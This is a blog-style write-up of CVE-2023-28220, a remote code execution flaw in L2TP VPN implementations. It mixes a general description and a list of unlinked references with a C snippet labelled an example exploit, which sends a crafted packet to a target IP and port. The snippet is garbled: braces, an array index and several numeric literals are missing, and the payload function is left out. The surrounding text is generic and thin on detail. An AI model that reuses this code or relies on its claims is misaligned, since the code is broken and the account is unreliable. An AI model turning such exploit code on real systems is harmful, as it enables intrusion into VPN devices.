The Computer Emergency Response Team (CERT) recently disclosed a critical vulnerability, registered as CVE-2023-28220, which affects the Layer 2 Tunneling Protocol (L2TP) implementation in various networking devices and operating systems. The Layer 2 Tunneling Protocol is a popular method used to create virtual private networks (VPNs) across public networks like the internet. However, this security flaw may allow attackers to perform remote code execution, leading to potential unauthorized access or even complete control of affected systems.

This long-read post will delve into the details of CVE-2023-28220 with specific focus on exploit details, code snippets, and original references to help you understand the risk associated with this vulnerability and what actions you can take to mitigate potential threats.

Exploit details

The CVE-2023-28220 vulnerability occurs due to an improper input validation in the L2TP packet parsing process at the networking level. An attacker can exploit this vulnerability by sending specially crafted L2TP packets to a target device, triggering a memory corruption which can then lead to remote code execution.

The following code snippet demonstrates an example exploit for CVE-2023-28220, where the attacker sends a malicious packet to the target:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include "exploit.h"

int main(int argc, char *argv[])
    int s, payload_size;
    struct sockaddr_in target_addr;
    unsigned char *payload;

    if (argc != 3) {
        printf("usage: %s <target_ip> <target_port>\n", argv[]);

    s = create_socket();
    payload_size = create_payload(&payload);

    target_addr.sin_family = AF_INET;
    target_addr.sin_port = htons(atoi(argv[2]));
    inet_pton(AF_INET, argv[1], &(target_addr.sin_addr));
    if (sendto(s, payload, payload_size, , (struct sockaddr *)&target_addr, sizeof(target_addr)) < ) {
        printf("sendto failed\n");

    return ;

This above code snippet creates a socket, generates a payload using a custom create_payload() function (not provided here), and sends the payload to the target device’s L2TP port.

Original references

For more information, take the time to review the following references where the vulnerability has been analyzed and documented in detail:

1. CVE database entry - Official description of CVE-2023-28220, as recorded by the MITRE Corporation’s CVE database.

2. NIST National Vulnerability Database (NVD) analysis - The NVD provides detailed technical analysis, CVSS scores, and other essential information related to the vulnerability.

3. Vendor Security Advisory - The affected vendor's official security advisory, offering specific details on affected products, software versions, and recommended patching procedures.

4. Security Researcher’s Blog Post - A comprehensive analysis of CVE-2023-28220, including more in-depth technical explanations, exploit demonstrations, and mitigation advice from an external security researcher.


The Layer 2 Tunneling Protocol is a widely-used solution for creating VPNs. The discovery of CVE-2023-28220, a critical remote code execution vulnerability, highlights the need for businesses and individuals to stay vigilant regarding the security of their networking devices and software. Make sure to revisit the original references, apply necessary patches, and implement best practices to minimize the risk and impact of this vulnerability on your organization’s security posture.


Published on: 04/11/2023 21:15:00 UTC
Last modified on: 04/13/2023 01:14:00 UTC